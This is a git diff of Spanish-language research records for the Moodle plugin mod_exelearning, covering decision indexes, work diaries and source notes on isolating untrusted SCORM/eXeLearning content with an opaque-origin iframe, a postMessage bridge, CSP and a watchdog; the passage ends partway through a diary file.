+  - id: 'DEC-37-01', titulo: 'Clasificación funcional del módulo: mantener MOD_ARCHETYPE_ASSIGNMENT + MOD_PURPOSE_ASSESSMENT', estado: 'Accepted', fecha: '2026-06-11', ruta: 'decisiones/adr/DEC-37-01-clasificacion-funcional-archetype-purpose.md'
+  - id: 'DEC-66-01', titulo: 'Estrategia de cobertura de tests: mockear en lugar de excluir, medir con xdebug y gatear con trinquete', estado: 'Accepted', fecha: '2026-06-12', ruta: 'decisiones/adr/DEC-66-01-estrategia-cobertura-tests.md'
+  - id: 'DEC-67-01', titulo: 'Auditoría estándar de repositorio (2026-06-11): 9 mejoras implementadas + hallazgos descartados', estado: 'Accepted', fecha: '2026-06-12', ruta: 'decisiones/adr/DEC-67-01-auditoria-estandar-mejoras-2026-06.md'
+  - id: 'DEC-68-01', titulo: 'Eventos de ciclo de vida del intento (attempt_started / attempt_completed), uno por intento', estado: 'Accepted', fecha: '2026-06-12', ruta: 'decisiones/adr/DEC-68-01-eventos-ciclo-de-vida-intento.md'
+  - id: 'DEC-69-01', titulo: 'Regla de finalización personalizada por estado (completionstatusrequired)', estado: 'Accepted', fecha: '2026-06-12', ruta: 'decisiones/adr/DEC-69-01-completion-por-estado.md'
+  - id: 'DEC-70-01', titulo: 'Integración con la búsqueda global de Moodle (área de búsqueda + indexado de ficheros)', estado: 'Accepted', fecha: '2026-06-12', ruta: 'decisiones/adr/DEC-70-01-busqueda-global.md'
+  - id: 'DEC-71-01', titulo: 'Extracción de la lógica de lib.php a clases por responsabilidad (grades/*, local/scorm/*, package_manager, urls)', estado: 'Accepted', fecha: '2026-06-12', ruta: 'decisiones/adr/DEC-71-01-extraccion-lib-php.md'
+  - id: 'DEC-72-01', titulo: 'Auditoría follow-up post-refactor (#71): 8 mejoras implementadas + 1 hallazgo descartado por decisión previa', estado: 'Accepted', fecha: '2026-06-12', ruta: 'decisiones/adr/DEC-72-01-auditoria-followup-post-refactor.md'
+  - id: 'DEC-74-01', titulo: 'Tests JS del tracker SCORM con Vitest; extracción del shim de view.php a js/scorm_tracker.js (fuente única, inyección inline)', estado: 'Accepted', fecha: '2026-06-12', ruta: 'decisiones/adr/DEC-74-01-tests-js-tracker-scorm-vitest.md'
+  - id: 'DEC-77-01', titulo: 'Extracción de paquete no-destructiva: validar la nueva revisión antes de podar la anterior (issue 73)', estado: 'Accepted', fecha: '2026-06-13', ruta: 'decisiones/adr/DEC-77-01-extraccion-no-destructiva.md'
+  - id: 'DEC-78-01', titulo: 'Build de release reproducible: fijar el editor al tag homónimo (semver-match), no a la rama main', estado: 'Accepted', fecha: '2026-06-13', ruta: 'decisiones/adr/DEC-78-01-fijar-editor-tag-en-release.md'
+  - id: 'DEC-80-01', titulo: 'Bridge SCORM por postMessage + iframe de origen opaco (modo seguro configurable): implementación de RIE-001 Tier 2', estado: 'Accepted', fecha: '2026-06-13', ruta: 'decisiones/adr/DEC-80-01-bridge-scorm-postmessage-origen-opaco.md'
+  - id: 'DEC-80-02', titulo: 'Modo iframe seguro funcional: servir el contenido opaco por tokenpluginfile + CSP + watchdog (corrige la Ruta A de DEC-80-01)', estado: 'Accepted', fecha: '2026-06-13', ruta: 'decisiones/adr/DEC-80-02-iframe-seguro-tokenpluginfile.md'
+  - id: 'DEC-80-03', titulo: 'Embeds externos en modo seguro: promover YouTube/Vimeo/PDF al padre (overlay inline) — standalone, sin subdominio', estado: 'Accepted', fecha: '2026-06-14', ruta: 'decisiones/adr/DEC-80-03-embeds-externos-promote-to-parent.md'
+  - id: 'DEC-80-04', titulo: 'Fix: el bridge SCORM seguro nunca guardaba nota porque el get() de pipwerks no miraba la ventana local', estado: 'Accepted', fecha: '2026-06-14', ruta: 'decisiones/adr/DEC-80-04-fix-pipwerks-get-api-local-origen-opaco.md'
+  - id: 'DEC-80-05', titulo: 'xAPI sobre el bridge seguro: el listener confía por identidad de ventana en el iframe opaco (extiende DEC-85-01 al modo seguro de DEC-80-01)', estado: 'Accepted', fecha: '2026-06-19', ruta: 'decisiones/adr/DEC-80-05-xapi-bridge-seguro-identidad-ventana.md'
+  - id: 'DEC-80-06', titulo: 'Teacher-mode por parámetro core `?exe-teacher` (sin inyección CSS): compatible con origen opaco; supersede el hider de DEC-36-01', estado: 'Accepted', fecha: '2026-06-28', ruta: 'decisiones/adr/DEC-80-06-teacher-mode-parametro-core-exe-teacher.md'
+  - id: 'DEC-80-07', titulo: 'Estrategia unificada de medios externos en origen opaco: overlay inline + canal id-only + control del vídeo interactivo por MessagePort (sin nonce-como-auth)', estado: 'Accepted', fecha: '2026-06-28', ruta: 'decisiones/adr/DEC-80-07-estrategia-unificada-media-externo-opaco.md'
+  - id: 'DEC-85-01', titulo: 'Implementación de la ingesta xAPI (TAREA-015): xAPI-primary para paquetes nuevos, SCORM inerte, overall desde el statement de paquete, siempre activo', estado: 'Accepted', fecha: '2026-06-18', ruta: 'decisiones/adr/DEC-85-01-implementacion-ingesta-xapi.md'
+  - id: 'DEC-106-01', titulo: 'Editor embebido exclusivamente empaquetado en la release: eliminar el instalador/actualizador en runtime', estado: 'Accepted', fecha: '2026-07-24', ruta: 'decisiones/adr/DEC-106-01-editor-empaquetado-solo-en-release.md'
+  - id: 'DEC-108-01', titulo: 'Interruptor global del editor embebido: modo reproductor puro vía ajuste de sitio', estado: 'Accepted', fecha: '2026-07-24', ruta: 'decisiones/adr/DEC-108-01-interruptor-global-editor-embebido.md'
+  - id: 'DEC-110-01', titulo: 'La página de estilos queda como endpoint de acciones: se elimina el gestor visible duplicado', estado: 'Accepted', fecha: '2026-07-24', ruta: 'decisiones/adr/DEC-110-01-pagina-estilos-solo-endpoint.md'
+  - id: 'DEC-111-01', titulo: 'Versión Moodle real y monótona en main: fin del centinela; el empaquetado valida y nunca reescribe', estado: 'Accepted', fecha: '2026-07-24', ruta: 'decisiones/adr/DEC-111-01-version-real-monotona-en-main.md'
diff --git a/research/docs/indices/diario.yaml b/research/docs/indices/diario.yaml
index 2d67564..a68d297 100644
--- a/research/docs/indices/diario.yaml
+++ b/research/docs/indices/diario.yaml
@@ -20,9 +20,13 @@ items:
   - ruta: 'tareas/diario/2026-06-10-geogebra-issue-29.yaml', fecha: '2026-06-10'
   - ruta: 'tareas/diario/2026-06-12-tests-js-tracker-scorm.yaml', fecha: '2026-06-12'
   - ruta: 'tareas/diario/2026-06-13-reconciliacion-stable-y-behat.yaml', fecha: '2026-06-13'
+  - ruta: 'tareas/diario/2026-06-13-secure-iframe-playground-watchdog.yaml', fecha: '2026-06-13'
+  - ruta: 'tareas/diario/2026-06-13-secure-iframe-scorm-bridge.yaml', fecha: '2026-06-13'
+  - ruta: 'tareas/diario/2026-06-13-secure-iframe-tokenpluginfile.yaml', fecha: '2026-06-13'
   - ruta: 'tareas/diario/2026-06-17-adr-validacion-xapi-y-2.0.yaml', fecha: '2026-06-17'
   - ruta: 'tareas/diario/2026-06-17-decisiones-endpoint-y-roadmap.yaml', fecha: '2026-06-17'
   - ruta: 'tareas/diario/2026-06-17-investigacion-adl-xapi.yaml', fecha: '2026-06-17'
   - ruta: 'tareas/diario/2026-06-17-limpieza-fixtures.yaml', fecha: '2026-06-17'
   - ruta: 'tareas/diario/2026-06-17-limpieza-research.yaml', fecha: '2026-06-17'
   - ruta: 'tareas/diario/2026-06-18-impl-xapi-ingesta.yaml', fecha: '2026-06-18'
+  - ruta: 'tareas/diario/2026-06-19-xapi-secure-bridge.yaml', fecha: '2026-06-19'
diff --git a/research/docs/indices/notas.yaml b/research/docs/indices/notas.yaml
index 05393ea..ded7995 100644
--- a/research/docs/indices/notas.yaml
+++ b/research/docs/indices/notas.yaml
@@ -14,4 +14,5 @@ items:
   - id: 'AN-012', titulo: 'Mapeo de statements xAPI (exe_xapi.js) sobre la tubería de tracking existente', estado: None, fecha: '2026-06-04', ruta: 'analisis/notas/AN-012-mapeo-xapi-a-tuberia-existente.md'
   - id: 'AN-013', titulo: 'Reuso de tests Behat de plugins hermanos (mod_scorm, mod_h5pactivity, mod_exescorm, mod_exeweb) en mod_exelearning', estado: None, fecha: '2026-06-13', ruta: 'analisis/notas/AN-013-reuso-behat-plugins-hermanos.md'
   - id: 'AN-014', titulo: 'Qué aporta el ecosistema ADL/xAPI (cmi5launch, Moodle-PHP-Libs, xAPI-Spec, xAPI.js) a la integración xAPI de mod_exelearning', estado: None, fecha: '2026-06-17', ruta: 'analisis/notas/AN-014-ecosistema-adl-xapi-mejoras-spec.md'
+  - id: 'AN-015', titulo: 'Comparativa: soluciones de embeds de vídeo (YouTube/Vimeo) en contenido no confiable — mod_exelearning vs procomún vs eXeLearning vs el paper', estado: None, fecha: '2026-06-19', ruta: 'analisis/notas/AN-015-comparativa-soluciones-video-embeds.md'
   - id: 'AN-015', titulo: 'Detección por contenido en la migración legacy: criterio content.xml', estado: None, fecha: '2026-06-22', ruta: 'analisis/notas/AN-015-deteccion-content-xml-migracion.md'
diff --git a/research/docs/indices/repos.yaml b/research/docs/indices/repos.yaml
index b61e20c..4066878 100644
--- a/research/docs/indices/repos.yaml
+++ b/research/docs/indices/repos.yaml
@@ -9,3 +9,5 @@ items:
   - id: 'REPO-007', titulo: 'tool_migratehvp2h5p — migración oficial mod_hvp → mod_h5pactivity (Moodle HQ)', estado: None, fecha: None, ruta: 'fuentes/repositorios/REPO-007-tool-migratehvp2h5p.md'
   - id: 'REPO-008', titulo: 'Moodle-mod_cmi5launch (ADL) — módulo de referencia de ingesta xAPI/cmi5 → gradebook', estado: None, fecha: None, ruta: 'fuentes/repositorios/REPO-008-moodle-mod-cmi5launch.md'
   - id: 'REPO-009', titulo: 'Moodle-PHP-Libs (ADL) — vendor-bundle de Composer, DESCARTADO como dependencia', estado: None, fecha: None, ruta: 'fuentes/repositorios/REPO-009-moodle-php-libs.md'
+  - id: 'REPO-010', titulo: 'Procomún — plataforma de recursos educativos que abre .elpx de forma segura', estado: None, fecha: None, ruta: 'fuentes/repositorios/REPO-010-procomun.md'
+  - id: 'REPO-011', titulo: 'Paper de seguridad — contenido no confiable en LMS (SoK / principio de origen opaco + promote-to-parent)', estado: None, fecha: None, ruta: 'fuentes/repositorios/REPO-011-paper-seguridad-lms.md'
diff --git a/research/fixtures/elpx/external-embeds-demo.elpx b/research/fixtures/elpx/external-embeds-demo.elpx
new file mode 100644
index 0000000..042c2fb
Binary files /dev/null and b/research/fixtures/elpx/external-embeds-demo.elpx differ
diff --git a/research/fixtures/elpx/interactive-video-youtube-vimeo-quiz.elpx b/research/fixtures/elpx/interactive-video-youtube-vimeo-quiz.elpx
new file mode 100644
index 0000000..f0a8797
Binary files /dev/null and b/research/fixtures/elpx/interactive-video-youtube-vimeo-quiz.elpx differ
diff --git a/research/fixtures/elpx/remote-embeds.elpx b/research/fixtures/elpx/remote-embeds.elpx
new file mode 100644
index 0000000..918af30
Binary files /dev/null and b/research/fixtures/elpx/remote-embeds.elpx differ
diff --git a/research/fixtures/elpx/testing-the-sandbox.elpx b/research/fixtures/elpx/testing-the-sandbox.elpx
new file mode 100644
index 0000000..bfb5453
Binary files /dev/null and b/research/fixtures/elpx/testing-the-sandbox.elpx differ
diff --git a/research/fixtures/elpx/vimeo-embed.elpx b/research/fixtures/elpx/vimeo-embed.elpx
new file mode 100644
index 0000000..1f19931
Binary files /dev/null and b/research/fixtures/elpx/vimeo-embed.elpx differ
diff --git a/research/fixtures/elpx/youtube-embed.elpx b/research/fixtures/elpx/youtube-embed.elpx
new file mode 100644
index 0000000..273cf30
Binary files /dev/null and b/research/fixtures/elpx/youtube-embed.elpx differ
diff --git a/research/fuentes/repositorios/REPO-010-procomun.md b/research/fuentes/repositorios/REPO-010-procomun.md
new file mode 100644
index 0000000..316e356
--- /dev/null
+++ b/research/fuentes/repositorios/REPO-010-procomun.md
@@ -0,0 +1,44 @@
+---
+id: REPO-010
+titulo: "Procomún — plataforma de recursos educativos que abre .elpx de forma segura"
+tipo: lms-consumer
+ruta_local: /Users/ernesto/Downloads/git/procomun
+rama_consultada: fix/apertura-segura-elpx
+commit_consultado: "18b8d1a4 (clon local 2026-06-19)"
+fecha_consulta: 2026-06-19
+licencia: "[PENDIENTE: confirmar]"
+rol_para_mod_exelearning: "Consumidor/player hermano: renderiza paquetes .elpx no confiables con origen opaco y promociona los embeds de vídeo/PDF al padre (mismo modelo de seguridad que DEC-80-03, variante click→modal). Punto de comparación de la solución de embeds."
+herramienta_ia:
+  interfaz: claude-code
+  modelo: claude-opus-4-8
+---
+
+## Hechos
+
+- **Rol:** plataforma (Astro/React + API) que cataloga y previsualiza recursos `.elpx`. Como
+  `mod_exelearning`, es un **consumidor** de paquetes no confiables (no el productor).
+- **Apertura segura del `.elpx`** (decisiones `docs/negocio/decisiones/0026`+`0027` del repo de
+  Procomún, que conserva su propia numeración)**:** sirve el contenido del autor en un iframe cuyo
+  `sandbox` **omite `allow-same-origin`** (origen opaco, `origin="null"`); además repite el sandbox
+  como **directiva CSP `sandbox`** en la respuesta HTTP (`elpx-content.ts:224-225`), así que la
+  opacidad aguanta aunque se abra en pestaña nueva. CSP también fija `frame-src 'self' https:`,
+  `frame-ancestors 'self'`, `connect-src 'self'`.
+- **Embeds promote-to-parent (variante click→modal):** la opacidad se propaga a los iframes anidados
+  → YouTube/Vimeo/PDF salen en blanco. Solución = un **shim** en el contenido
+  (`apps/api/static/elpx/embed-shim.js`) que detecta origen opaco, sustituye cada embed por una
+  fachada y postMessea `{url, geometría}` al padre; un **relay** en el padre
+  (`use-elpx-embed-relay.ts`) autentica por **identidad de ventana** (`event.source === contentWindow`,
+  no por `event.origin` que es `"null"`), valida la URL (`classifyEmbed`, `elpx-embed-policy.ts`:
+  https + sin userinfo + cross-origin) y abre un **modal/lightbox** (`EmbedModal.tsx`) con el player
+  real en el origen del proveedor (SOP lo aísla del host).
+- **YouTube:** canonicaliza a `youtube-nocookie` (`elpx-embed-policy.ts:64-78`). **Vimeo: SIN rama
+  de canonicalización** (sólo funciona por promoción genérica open-mode, sin reescritura de privacidad).
+- **Trampas/limitaciones:** el modo open no tiene allowlist (cualquier https cross-origin se promociona);
+  el player del modal mantiene `allow-same-origin` (seguro **sólo** porque la URL está garantizada
+  cross-origin); PDF sin sandbox (visor nativo); fachada en thumbnails que no monta modal (UI muerta);
+  requiere `Access-Control-Allow-Origin: *` + `crossorigin=anonymous` en los `<script>` del paquete;
+  interactive-video roto (misma limitación que DEC-80-03).
+- **Documentación propia:** `docs/negocio/decisiones/0026-apertura-segura-elpx.md`,
+  `0027-reproduccion-segura-embeds-elpx.md`. Commits `cda2d108`, `34aadfab`, `18b8d1a4`.
+
+Comparado en detalle en **AN-015**.
diff --git a/research/fuentes/repositorios/REPO-011-paper-seguridad-lms.md b/research/fuentes/repositorios/REPO-011-paper-seguridad-lms.md
new file mode 100644
index 0000000..ff15619
--- /dev/null
+++ b/research/fuentes/repositorios/REPO-011-paper-seguridad-lms.md
@@ -0,0 +1,42 @@
+---
+id: REPO-011
+titulo: "Paper de seguridad — contenido no confiable en LMS (SoK / principio de origen opaco + promote-to-parent)"
+tipo: paper
+ruta_local: /Users/ernesto/Downloads/git/lms-untrusted-content-security-paper
+rama_consultada: main
+commit_consultado: "bb8fbc1 (clon local 2026-06-19)"
+fecha_consulta: 2026-06-19
+licencia: "CC-BY + MIT (dual)"
+rol_para_mod_exelearning: "Marco teórico (SoK) del problema que DEC-80-01/0061 implementan: ejecutar JS de autor no confiable en el MISMO origen que la sesión LMS es el peligro; la mitigación es origen opaco + CSP sandbox + bridge postMessage validado. Nombra el modelo promote-to-parent para vídeo."
+herramienta_ia:
+  interfaz: claude-code
+  modelo: claude-opus-4-8
+---
+
+## Hechos
+
+- **Tesis central:** el peligro no es «JavaScript» sino ejecutar JS de **autor no confiable** en el
+  **mismo origen** que la sesión autenticada del LMS. Mitigación: renderizar el recurso entero
+  (`.elpx`/SCORM/`mod_page`) en un **iframe de origen opaco** (`sandbox allow-scripts` SIN
+  `allow-same-origin` → `origin=null`) + directiva **CSP `sandbox`** en la respuesta + **bridge
+  `postMessage` validado** para el estado.
+- **Dilema central (§6.2, `:249`):** el origen opaco **rompe los embeds de terceros** (YouTube/Vimeo)
+  porque los flags `sandbox` **se propagan** a los iframes anidados (el player hereda el origen opaco
+  y pierde el suyo → blanco).
+- **Solución de vídeo (§6.2/§6.3, `:295,297,299,303`):** **promote-to-parent** — el relay del padre
+  (fuera del sandbox) valida el mensaje por **identidad de ventana** (`event.source === iframe.contentWindow`,
+  NO `event.origin` que es `"null"`; contrasta con el origen-trust roto de H5P), revalida la URL
+  (https + cross-origin), y monta el player real en el padre, donde el SOP lo aísla — «**el modelo de
+  confianza que Moodle ya usa para incrustar YouTube**» (`:299`). Invariante **sin allowlist**
+  (`https + cross-origin al LMS`, `:303`) que cubre YouTube/Vimeo/Dailymotion; alternativas
+  conservadoras = modo estricto (allowlist) y oEmbed server-side.
+- **Defensa en profundidad:** CSP de respuesta con `connect-src 'self'` (cierra el exfil principal),
+  `object-src 'none'`, `frame-ancestors 'self'`, `base-uri 'none'`; residuo acotado = pixel GET que
+  exfiltra el token de fichero de **sólo lectura** (no el `sesskey`, confinado al padre) vía
+  `img/media/frame-src https:`; un perfil CSP estricto opcional lo cierra.
+- Variante **fachada+modal** citada como más simple (sin sincronía de geometría), mismo modelo de
+  seguridad (`:297`).
+- Fuentes: `seguridad-html-js-recursos-educativos.md` (ES) + `security-html-js-educational-resources.en.md`
+  (EN) + `anexos-tecnicos.md`. Verificación adversarial del bridge 7/7 (`:280`).
+
+Es el marco del que parten DEC-80-01/DEC-80-02/DEC-80-03. Comparado en **AN-015**.
diff --git a/research/status.yaml b/research/status.yaml
index 6f92e8f..d15140e 100644
--- a/research/status.yaml
+++ b/research/status.yaml
@@ -398,6 +398,52 @@ decisiones_bloqueantes:
       las vías (el editor pasa de irrecuperable a recuperable). Resuelve RIE-019. Promueve maturity
       BETA->STABLE (consecuencia, no decisión aparte; version sentinel intacto, DEC-13-08). 263 tests
       verdes (make test). Tests nuevos: 6 en package_manager_extract_test, 2 en lib_test.
+  DEC-80-01:
+    titulo: "Bridge SCORM por postMessage + iframe de origen opaco (modo seguro configurable): RIE-001 Tier 2"
+    estado: Aceptada
+    ruta: decisiones/adr/DEC-80-01-bridge-scorm-postmessage-origen-opaco.md
+    fecha: 2026-06-13
+    relacionados: [DEC-0-16, RIE-001, AN-008, DEC-5-01, DEC-13-11]
+    notas: >-
+      Implementa el Tier 2 que DEC-0-16 dejó para "su propio ADR" (no lo supersede). Ajuste
+      global mod_exelearning/iframemode (secure por defecto | legacy de respaldo,
+      \mod_exelearning\local\ui\player_iframe, fail-safe a secure). Modo secure: iframe sandbox
+      sin allow-same-origin (origen opaco) ni allow-popups-to-escape-sandbox; el shim window.API
+      vive DENTRO del iframe (js/scorm_bridge_shim.js, copiado a libs/exe_scorm_bridge.js e
+      inyectado por scorm_injector al inicio de <head>), reutiliza js/scorm_tracker.js vía nueva
+      opción transport, resuelve objectid en su propio DOM y postMessea los deltas al relevo del
+      padre (js/scorm_bridge_relay.js), que valida por identidad de ventana + nonce + acción
+      cerrada y hace el POST a track.php (sesskey sólo en el padre; flush por sendBeacon en
+      pagehide). Polyfill de localStorage/sessionStorage en el shim (origen opaco lanza
+      SecurityError; lo usan exe_atools/exe_export/checklist/edicuatex). Linchpin: pipwerks find()
+      mira window.API local primero (SCORM_API_wrapper.js:71-106). Legacy = comportamiento actual
+      byte-a-byte. phpcs 0/0; Vitest 40/40 (24 nuevos); PHPUnit player_iframe_test + Behat en CI.
+      RIE-001 -> mitigado. OJO: su Ruta A (servir el iframe opaco por pluginfile normal) fue
+      REFUTADA en verificación y corregida por DEC-80-02.
+  DEC-80-02:
+    titulo: "Modo iframe seguro funcional: servir el contenido opaco por tokenpluginfile + CSP + watchdog (corrige Ruta A de DEC-80-01)"
+    estado: Aceptada
+    ruta: decisiones/adr/DEC-80-02-iframe-seguro-tokenpluginfile.md
+    fecha: 2026-06-13
+    relacionados: [DEC-80-01, DEC-0-16, RIE-001, AN-008, DEC-5-01]
+    notas: >-
+      Verificado en navegador (Chrome DevTools, Moodle real :80): la Ruta A de DEC-80-01 (iframe
+      opaco servido por pluginfile normal) NO carga los subrecursos: un documento de origen opaco
+      no envía la cookie SameSite=Lax (session/manager.php:513-518) y pluginfile exige login -> CSS/
+      JS/shim 404. Corrección: servir el iframe por tokenpluginfile (make_pluginfile_url includetoken;
+      token core_files de TTL corto en la RUTA, lo arrastran los subrecursos relativos -> cargan sin
+      cookie). tokenpluginfile valida el token y SIGUE aplicando require_capability (solo lectura de
+      ficheros, no sesskey -> más seguro que legacy). Precedente: H5P usa includetoken embebido
+      (h5p/classes/player.php:429). + CSP/Permissions-Policy desde exelearning_pluginfile (object-src
+      none, base-uri none, frame-ancestors self, connect-src acotado anti-exfiltración del token;
+      mantiene unsafe-inline/eval que exe necesita). + NO degradar en silencio a legacy: watchdog del
+      relay muestra aviso securemodeblocked si el iframe no emite ready (slasharguments off, o host con
+      service worker como el Playground PHP-WASM que no sirve iframes opacos). + self-heal del bridge en
+      view.php para paquetes ya extraídos. Investigado y descartado: origen separado/subdominio (B, no
+      hay mecanismo en core, requiere infra) y sandbox JS en cliente (M8, inviable: el contenido
+      necesita DOM real+jQuery). Evidencia: track.php responde {ok:true,rawscore:100,peritem:{1:100}}.
+      phpcs 0/0; Vitest 42/42; PHPUnit player_iframe_test (modo+sandbox+CSP). Residuo: token visible
+      en URL (acotado CSP+TTL); legacy opt-in reabre same-origin. Futuro: toggle CSP estricto, Ruta B.
 tareas:
   TAREA-001:
     fecha: 2026-05-28
@@ -596,17 +642,66 @@ tareas:
       create_file_from_url + gating por contenthash + curl_security_helper + ajuste admin
       allowexternalurl opt-in) + botón 'Actualizar ahora' + tests/backup/upgrade. Fase 2
       (opcional): updatefreq + db/tasks.php + token para el REST de eXeLearning v4.
+  TAREA-017:
+    fecha: 2026-06-13
+    titulo: "RIE-001 Tier 2: implementar el bridge SCORM por postMessage + iframe de origen opaco (modo seguro)"
+    estado: Done
+    agente: claude-code
+    relacionados:
+      - RIE-001
+      - DEC-80-01
+      - DEC-0-16
+      - DEC-5-01
+    notas: >-
+      Implementado el modo seguro configurable (iframemode secure|legacy, default secure).
+      Ficheros: classes/local/ui/player_iframe.php (modo + tokens sandbox), settings.php
+      (admin_setting_configselect), lang/en/exelearning.php (4 strings), view.php (rama
+      secure/legacy + sandbox por modo + teacher-mode por bridge), js/scorm_tracker.js (opción
+      transport), js/scorm_bridge_shim.js + js/scorm_bridge_relay.js (nuevos),
+      classes/local/scorm/scorm_injector.php (inyección del bridge), classes/local/package_manager.php
+      (copia de scorm_tracker.js + exe_scorm_bridge.js a libs/). Tests: tests/player_iframe_test.php,
+      tests/js/scorm_bridge.test.js. Verificado phpcs 0/0 + Vitest 40/40 + php -l; PHPUnit/Behat en
+      CI/contenedor. Follow-up opcional: M2/M3 (Permissions-Policy/CSP).
+  TAREA-018:
+    fecha: 2026-06-13
+    titulo: "Corregir la Ruta A: servir el iframe seguro por tokenpluginfile + CSP + watchdog (DEC-80-02)"
+    estado: Done
+    agente: claude-code
+    relacionados:
+      - RIE-001
+      - DEC-80-02
+      - DEC-80-01
+    notas: >-
+      Verificación en navegador (Chrome DevTools, Moodle real :80) refutó la Ruta A de DEC-80-01
+      (subrecursos del iframe opaco 404 por cookie SameSite=Lax). Corregido: view.php sirve el iframe
+      por tokenpluginfile (get_user_key core_files TTL corto en la ruta) sin fallback silencioso a
+      legacy; exelearning_pluginfile emite CSP + Permissions-Policy (player_iframe::content_security_policy
+      / permissions_policy) en modo secure; js/scorm_bridge_relay.js añade watchdog que muestra el aviso
+      securemodeblocked si el iframe no emite ready; view.php self-heal del bridge para paquetes ya
+      extraídos; blueprint.json deja iframemode en secure (el Playground muestra el aviso, no legacy).
+      Tests: ampliado player_iframe_test (CSP/Permissions-Policy) y scorm_bridge.test.js (watchdog),
+      Vitest 42/42, phpcs 0/0. Evidencia track.php {ok:true,rawscore:100,peritem:{1:100}}.
 riesgos:
   RIE-001:
     titulo: "XSS cross-component desde paquete eXeLearning malicioso"
     severidad: media
     probabilidad: baja
-    estado: aceptado
+    estado: mitigado
     aceptacion: >-
       ACEPTADO 2026-06-17 (erseco): riesgo media/baja aceptado con la mitigación v1 (sandbox del iframe).
       El hardening Tier 1/2 (DEC-0-16) lo implementa la rama feature/secure-iframe-scorm-bridge
       (PR #80, con sus propias decisiones aún no fusionadas), NO como bloqueante. TAREA-013 (sandboxing JS) queda cubierta ahí; no se crea ficha aparte.
     mitigacion: >-
+      MITIGADO (2026-06-13, DEC-80-01 + DEC-80-02): el modo seguro por defecto (iframemode=secure)
+      sirve el paquete en un iframe de ORIGEN OPACO (sin allow-same-origin) por tokenpluginfile
+      (DEC-80-02 corrige la Ruta A: el opaco no envía la cookie SameSite, así que los assets se
+      sirven por token en la URL, no por cookie) y releva el scoring SCORM por un canal postMessage
+      validado (identidad de ventana + nonce + acción cerrada), con el sesskey sólo en el padre; el
+      contenido ya no puede leer DOM/cookies/sesión ni forjar peticiones (solo recibe un token de
+      lectura de ficheros, acotado por CSP+TTL). Sin degradación silenciosa a legacy: watchdog que
+      avisa si secure no puede renderizar. Verificado en navegador (track.php guarda la nota).
+      legacy queda como respaldo opt-in (vuelve al riesgo same-origin). Contexto previo (DEC-0-16,
+      sin implementar entonces):
       v1 VIGENTE: sandbox del iframe sin allow-top-navigation / allow-modals (AN-008).
       Investigación TAREA-012 completada en DEC-0-16 (2026-06-02): core NO aísla (mod_scorm
       sin sandbox; core_h5p curado), mod_exelearning ya es el mejor aislado de los tres, y
@@ -621,7 +716,10 @@ riesgos:
       - DEC-0-03
       - DEC-0-04
       - DEC-0-16
+      - DEC-80-01
+      - DEC-80-02
       - TAREA-012
+      - TAREA-017
   RIE-007:
     titulo: "suspend_data N (índice local de página) tratado como itemnumber → mis-ruteo y colisión de notas"
     severidad: alta
diff --git a/research/tareas/diario/2026-06-13-secure-iframe-playground-watchdog.yaml b/research/tareas/diario/2026-06-13-secure-iframe-playground-watchdog.yaml
new file mode 100644
index 0000000..4d2f11e
--- /dev/null
+++ b/research/tareas/diario/2026-06-13-secure-iframe-playground-watchdog.yaml
@@ -0,0 +1,26 @@
+fecha: 2026-06-13
+sesion: secure-iframe-playground-watchdog
+agente: claude-code
+resumen: >-
+  A petición de erseco ("parece que funciona en el Playground y no muestra el aviso"),
+  se reabrió la URL del Playground PHP-WASM con Chrome DevTools para confirmar
+  empíricamente el comportamiento del modo secure y entender por qué parecía no avisar.
+  Conclusión: secure SÍ avisa en el Playground; lo que ocurría es que el aviso aparecía
+  tras el retardo del watchdog (8 s) y quedaba bajo el pliegue, dando la sensación de
+  que "cargaba" durante esos segundos. Se confirma la limitación conocida (el SW no
+  sirve iframes opacos) y se mejora el watchdog para que el aviso salga justo tras el
+  fallo de carga.
+acciones:
+  - "Verificación empírica (Playground, recorrido recursivo del DOM por los iframes anidados site-frame>remote-frame): el iframe del paquete se construye en secure (src=tokenpluginfile.php/<token>/15/mod_exelearning/content/1/index.html, sandbox='allow-scripts allow-popups allow-forms', origen opaco -> SecurityError al leer contentWindow); el relay está presente (exeScormBridge=object); el aviso securemodeblocked queda VISIBLE y el iframe oculto (display:none) -> el watchdog SÍ saltó."
+  - "Red (Chrome DevTools): la petición tokenpluginfile.php/.../content/1/index.html devuelve 404 en el Playground (el service worker no controla subframes opacos; la URL cae a GitHub Pages estático). El token NO ayuda aquí: el bloqueo es el SW, no la cookie. Coherente con la limitación documentada en DEC-80-02."
+  - "Diagnóstico de la 'sensación de que funciona': el watchdog era un temporizador plano de 8 s y el aviso quedaba a top~734 (bajo el pliegue). Durante esos 8 s el iframe estaba en blanco sin aviso -> parecía cargar."
+  - "Mejora (js/scorm_bridge_relay.js): el watchdog ahora usa dos señales. Engancha el evento 'load' del elemento iframe (que dispara también con la página de error 404) y concede solo una gracia corta (gracems, 2,5 s) para el handshake; si 'load' nunca llega cae al tope plano (watchdogms, 8 s). El listener se adjunta al iframe si ya existe o en DOMContentLoaded (el relay se inyecta inline antes del elemento iframe)."
+  - "Tests (tests/js/scorm_bridge.test.js): dos casos nuevos para la ruta rápida -- el aviso sale por el temporizador de gracia tras 'load' (no por el plano), y no se arma la gracia si el iframe ya está ready. Vitest 52/52. Los tests previos del watchdog usan un iframe sin addEventListener, así que siguen ejercitando la ruta plana."
+verificacion_navegador:
+  - "Playground (https://ateeducacion.github.io/moodle-playground/?blueprint-url=...&branch=feature/secure-iframe-scorm-bridge): /mod/exelearning/view.php?id=1 -> iframe secure opaco, tokenpluginfile 404, aviso securemodeblocked visible ('This content cannot be displayed with the current security configuration. Please contact the administrator'), iframe display:none."
+pendientes:
+  - "Re-verificar en el Playground tras pushear (el proxy/CDN puede cachear el blueprint y el zip de la rama unos minutos) para ver el aviso aparecer ya tras el 'load' del 404 (~2,5 s) en vez de a los 8 s."
+relacionados:
+  - DEC-80-02
+  - DEC-80-01
+  - RIE-001
diff --git a/research/tareas/diario/2026-06-13-secure-iframe-scorm-bridge.yaml b/research/tareas/diario/2026-06-13-secure-iframe-scorm-bridge.yaml
new file mode 100644
index 0000000..668c6e8
--- /dev/null
+++ b/research/tareas/diario/2026-06-13-secure-iframe-scorm-bridge.yaml
@@ -0,0 +1,45 @@
+fecha: 2026-06-13
+sesion: secure-iframe-scorm-bridge
+agente: claude-code
+resumen: >-
+  Implementación de RIE-001 Tier 2 (DEC-80-01): bridge SCORM por postMessage + iframe de
+  origen opaco, como modo seguro configurable y por defecto, con legacy de respaldo.
+  DEC-0-16 había dejado este Tier 2 para "su propio ADR" sin implementarlo; el usuario
